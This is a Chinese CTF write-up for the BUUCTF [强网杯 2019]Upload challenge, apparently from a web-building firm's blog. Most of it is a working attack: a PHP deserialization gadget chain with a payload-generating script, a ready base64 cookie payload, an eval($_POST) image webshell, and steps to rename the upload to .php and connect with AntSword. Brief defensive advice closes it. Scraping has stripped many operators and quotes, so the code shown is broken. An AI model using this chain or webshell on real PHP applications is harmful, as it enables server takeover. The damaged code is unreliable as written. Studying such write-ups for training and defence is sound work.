尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

BUUCTF:[强网杯 2019]Upload 反序列化链构造与文件重命名Getshell

BUUCTF:[强网杯 2019]Upload 反序列化链构造与文件重命名Getshell 1. 题目背景与初步分析BUUCTF的[强网杯2019]Upload题目是一个典型的文件上传结合反序列化漏洞的CTF挑战。题目环境基于ThinkPHP5框架主要考察选手对PHP反序列化链构造和文件操作的理解能力。首先我们注册登录系统后会发现一个头像上传功能。测试发现上传的图片会被重命名如md5值文件后缀会被强制改为png通过目录扫描发现存在www.tar.gz源码包解压源码包后发现是ThinkPHP5框架关键代码位于application/web/controller/Index.phpapplication/web/controller/Register.phpapplication/web/controller/Profile.php2. 关键漏洞点定位2.1 反序列化入口在Index.php的login_check方法中存在对cookie中user参数的反序列化操作$user unserialize(base64_decode(cookie(user)));这为我们提供了反序列化的入口点。通过控制cookie中的user值我们可以触发反序列化操作。2.2 魔术方法利用Profile类中定义了两个关键魔术方法public function __get($name) { return $this-except[$name]; } public function __call($name, $arguments) { if($this-{$name}) { $this-{$this-{$name}}($arguments); } }这两个方法在特定条件下会被自动调用__get当访问不存在的属性时触发__call当调用不存在的方法时触发2.3 文件上传逻辑上传功能的核心是upload_img方法关键代码如下public function upload_img() { if($this-filename_tmp $this-filename) { if(copy($this-filename_tmp, $this-filename)) { return true; } } return false; }这个方法允许我们将临时文件复制到目标位置且可以控制目标文件名。3. 反序列化链构造3.1 利用链设计思路完整的利用链如下通过cookie中的user触发反序列化反序列化Register对象其析构函数调用$this-checker-index()将checker设置为Profile对象触发Profile的__call方法__call方法尝试访问$this-index属性触发__get方法__get方法返回$this-except[index]的值如upload_img最终调用$this-upload_img()方法3.2 具体POC构造完整的攻击Payload构造如下?php namespace app\web\controller; class Profile { public $checker; public $filename_tmp ./upload/76d9f00467e5ee6abc3ca60892ef304e/1905e3297318e07f689eeda3afb79dc7.png; public $filename ./upload/76d9f00467e5ee6abc3ca60892ef304e/1905e3297318e07f689eeda3afb79dc7.php; public $ext png; public $img upload_img; public $except [index img]; } class Register { public $checker; public $registed false; } $profile new Profile(); $register new Register(); $register-checker $profile; echo urlencode(base64_encode(serialize($register)));生成的Payload示例TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo2OntzOjc6ImNoZWNrZXIiO047czoxMjoiZmlsZW5hbWVfdG1wIjtzOjc4OiIuL3VwbG9hZC83NmQ5ZjAwNDY3ZTVlZTZhYmMzY2E2MDg5MmVmMzA0ZS8xOTA1ZTMyOTczMThlMDdmNjg5ZWVkYTNhZmI3OWRjNy5wbmciO3M6ODoiZmlsZW5hbWUiO3M6Nzg6Ii4vdXBsb2FkLzc2ZDlmMDA0NjdlNWVlNmFiYzNjYTYwODkyZWYzMDRlLzE5MDVlMzI5NzMxOGUwN2Y2ODllZWRhM2FmYjc5ZGM3LnBocCI7czozOiJleHQiO3M6MzoicG5nIjtzOjM6ImltZyI7czoxMDoidXBsb2FkX2ltZyI7czo2OiJleGNlcHQiO2E6MTp7czo1OiJpbmRleCI7czozOiJpbWciO319czo4OiJyZWdpc3RlZCI7YjowO30%3D4. 完整攻击步骤4.1 准备图片马首先准备一个包含PHP代码的图片文件如1.jpg内容为GIF89a ?php eval($_POST[cmd]); ?4.2 上传图片马正常上传图片马系统会将其重命名为类似1905e3297318e07f689eeda3afb79dc7.png的形式。4.3 设置恶意cookie将生成的Payload设置为cookie中的user值document.cookie userTzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo2OntzOjc6ImNoZWNrZXIiO047czoxMjoiZmlsZW5hbWVfdG1wIjtzOjc4OiIuL3VwbG9hZC83NmQ5ZjAwNDY3ZTVlZTZhYmMzY2E2MDg5MmVmMzA0ZS8xOTA1ZTMyOTczMThlMDdmNjg5ZWVkYTNhZmI3OWRjNy5wbmciO3M6ODoiZmlsZW5hbWUiO3M6Nzg6Ii4vdXBsb2FkLzc2ZDlmMDA0NjdlNWVlNmFiYzNjYTYwODkyZWYzMDRlLzE5MDVlMzI5NzMxOGUwN2Y2ODllZWRhM2FmYjc5ZGM3LnBocCI7czozOiJleHQiO3M6MzoicG5nIjtzOjM6ImltZyI7czoxMDoidXBsb2FkX2ltZyI7czo2OiJleGNlcHQiO2E6MTp7czo1OiJpbmRleCI7czozOiJpbWciO319czo4OiJyZWdpc3RlZCI7YjowO30%3D;4.4 触发反序列化刷新页面触发反序列化操作系统会将原本的png文件重命名为php文件。4.5 连接webshell使用蚁剑等工具连接生成的php文件URL: http://target/upload/76d9f00467e5ee6abc3ca60892ef304e/1905e3297318e07f689eeda3afb79dc7.php密码: cmd5. 技术细节解析5.1 魔术方法的触发流程完整的调用链如下Register对象被反序列化页面结束时触发Register的__destruct__destruct检查$this-registed为false调用$this-checker-index()Profile类没有index方法触发__call(index, [])__call检查$this-index属性触发__get(index)__get返回$this-except[index]即img$this-img值为upload_img最终调用$this-upload_img()5.2 文件路径问题需要注意的是Profile类的构造函数中有public function __construct() { chdir(../public/upload); }但反序列化不会调用构造函数因此我们需要在Payload中手动指定完整的相对路径。5.3 防御绕过技巧题目中对上传文件做了以下限制检查文件头是否为图片强制修改后缀为png使用md5值重命名我们通过以下方式绕过使用GIF89a等合法的图片文件头通过反序列化漏洞直接修改文件名利用copy操作覆盖文件后缀限制6. 总结与防御建议这道题目展示了反序列化漏洞与文件操作结合的经典利用方式。在实际开发中建议避免反序列化用户可控数据对文件操作进行严格校验限制危险魔术方法的使用使用随机化的上传目录名禁用不必要的文件系统函数通过这道题目我们可以深入理解PHP反序列化漏洞的利用方式以及如何通过魔术方法构造复杂的攻击链。这种类型的漏洞在CTF比赛中非常常见也是实际渗透测试中需要重点关注的风险点。
返回列表